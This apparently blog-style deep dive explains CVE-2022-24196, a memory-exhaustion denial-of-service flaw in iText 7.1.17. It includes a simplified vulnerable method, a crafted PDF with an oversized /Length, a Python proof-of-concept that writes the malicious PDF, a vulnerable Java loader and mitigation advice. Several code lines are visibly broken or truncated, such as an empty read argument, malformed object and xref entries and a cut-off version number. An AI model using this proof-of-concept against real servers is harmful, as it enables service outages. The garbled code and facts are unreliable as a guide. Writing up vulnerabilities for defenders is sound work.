When it comes to handling PDF files in Java, iText is a common library many developers trust. But in February 2022, security researchers discovered a serious vulnerability (CVE-2022-24196) in iText version 7.1.17. If you’re running software with this version, you should be aware: a single malicious PDF can bring your application down by simply eating up all your memory.
In this exclusive deep dive, I’ll walk you through how this flaw works, why it matters, and what code snippets you need to know. Whether you’re a developer, sysadmin, or just curious about Java’s PDF libraries, this is a risk you need to manage—before someone else does it for you.
What’s Affected?
- Library: iText (Java library for reading/writing/manipulating PDFs)
Impact: Denial of Service (DoS) — your app crashes or hangs
- CVE: CVE-2022-24196
References:
What Is readStreamBytesRaw?
This is an internal method in iText that reads the raw byte data from a stream inside a PDF file. PDFs are mostly a collection of streams: text, images, fonts, all are stored as streams. Normally, these aren’t huge. But what happens if an attacker claims a stream is, say, *1 terabyte*?
The problem: iText trusts the stream’s declared length (from the PDF’s metadata) and blindly tries to allocate that much memory. If the actual size is huge or malformed, the memory allocation request can blow up your Java heap—causing an out-of-memory exception and terminating your process.
Here’s a simplified version of what’s happening (not the full OSS source)
public byte[] readStreamBytesRaw(RandomAccessFileOrArray file, PdfObject streamObject) throws IOException {
int length = getStreamLength(streamObject); // From PDF
byte[] buffer = new byte[length]; // <- potential OOM here!
int bytesRead = file.read(buffer, , length);
return buffer;
}
If length is attacker-controlled — and is set to a massive value — new byte[length] will try to allocate a huge byte array. Java then throws an OutOfMemoryError, and your server goes down.
How an Attacker Triggers This: Crafting The PDF
A malicious actor needs only to craft a PDF with a stream that advertises a huge length. Here’s a super-simplified example:
%PDF-1.4
1 obj
<<
/Length 4294967295 % (largest 32-bit unsigned int)
>>
stream
AAA... (actual stream data)
endstream
endobj
The “/Length” field is set to a crazy-high value.
When iText reads this stream, it tries to allocate an array of size 4,294,967,295 bytes—about 4GB! On a server with lower heap limits (e.g. default 1G or 2G), boom—crash.
Proof-of-Concept: Exploit Code
Here’s a Python snippet for generating a malicious PDF file that triggers the bug.
with open('exploit.pdf', 'wb') as f:
f.write(b'%PDF-1.4\n')
f.write(b'1 obj\n')
f.write(b'<< /Length 4294967295 >>\n') # Set very large length
f.write(b'stream\n')
f.write(b'A' * 100) # Real stream data is tiny
f.write(b'\nendstream\n')
f.write(b'endobj\n')
f.write(b'xref\n 2\n000000000 65535 f\n000000001 00000 n\n')
f.write(b'trailer\n<< /Root 1 R >>\nstartxref\n100\n%%EOF\n')
Give this PDF to any Java program using iText 7.1.17 to parse PDFs—it will likely run out of memory and die.
Why This is Bad: Denial of Service
Imagine your web application lets users upload PDFs. Even if you run antivirus, if you use iText under the hood (for extraction, signature checking, etc), a single upload can bring down your whole app server. This isn’t just a crash—it can be automated to take down large clusters (“service outage as a service”).
Important: This is not about reading huge files—it’s about trusting metadata that lies.
Here’s a Java code snippet that would be vulnerable
import com.itextpdf.kernel.pdf.PdfDocument;
import com.itextpdf.kernel.pdf.PdfReader;
public class VulnerableApp {
public static void main(String[] args) throws Exception {
PdfDocument pdfDoc = new PdfDocument(new PdfReader("exploit.pdf"));
System.out.println("PDF parsed!");
}
}
Feed this code a malicious “exploit.pdf” – and say goodbye to your JVM.
Mitigation
- Upgrade: Update to iText 7.2. or newer
The maintainers fixed this by adding better length checks and limits
- Sandbox file handling: If you can’t upgrade, never parse PDFs from untrusted sources, or use a process boundary
References
- CVE Database: NVD CVE-2022-24196
- Packet Storm Report: itext-pdf-7.1.17-denial-of-service
- iText Download: Official releases
Conclusion
PDFs look boring, but they sneakily carry a lot of power—and risks. CVE-2022-24196 shows just how easy it can be for a single crafted file to cripple an entire application built using iText 7.1.17. The fix is simple: upgrade. The consequences, if you don’t, can be severe: downtime, angry users, and potentially exploited servers. Patch it and stay safe!
*If you liked this deep dive, share it with your Java community. Stay updated—because next time, that “harmless” PDF might bring surprises.*
Timeline
Published on: 02/01/2022 20:15:00 UTC
Last modified on: 06/16/2022 19:29:00 UTC